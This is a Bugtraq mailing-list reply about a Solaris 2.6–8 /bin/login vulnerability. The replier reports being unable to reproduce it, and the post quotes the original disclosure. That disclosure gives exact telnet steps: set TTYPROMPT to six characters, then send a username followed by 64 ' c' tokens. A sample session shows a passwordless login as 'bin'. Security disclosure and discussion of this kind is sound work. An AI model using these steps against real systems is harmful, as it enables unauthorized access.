Bugtraq: Re: Solaris 2.6, 7, 8

[Ramon Kagan <rkagan () YorkU CA>]

Sorry but I can't reproduce this on a Solaris 7 machine.

sunlight.ccs% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


SunOS 5.7

login: bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\nPassword:
Login incorrect


As you can see I get a request for a username/password.

Ramon Kagan
York University, Computing and Network Services
Unix Team -  Intermediate System Administrator
(416)736-2100 #20263
rkagan () yorku ca

-------------------------------------
I have not failed.  I have just
found 10,000 ways that don't work.
        - Thomas Edison
-------------------------------------

On Wed, 2 Oct 2002, Jonathan S wrote:

> Hello,
>
>   Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the
> environment variable TTYPROMPT.  This vulnerability has already been
> reported to BugTraq and a patch has been released by Sun.
>   However, a very simple exploit, which does not require any code to be
> compiled by an attacker, exists.  The exploit requires the attacker to
> simply define the environment variable TTYPROMPT to a 6 character string,
> inside telnet. I believe this overflows an integer inside login, which
> specifies whether or not the user has been authenticated (just a guess).
> Once connected to the remote host, you must type the username, followed by
> 64 " c"s, and a literal "\n".  You will then be logged in as the user
> without any password authentication.  This should work with any account
> except root (unless remote root login is allowed).
>
> Example:
>
> coma% telnet
> telnet> environ define TTYPROMPT abcdef
> telnet> o localhost
>
> SunOS 5.8
>
> bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
> c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
> Last login: whenever
> $ whoami
> bin
>
> Jonathan Stuart
> Network Security Engineer
> Computer Consulting Partners, Ltd.
> E-mail: jons () ccpartnersltd com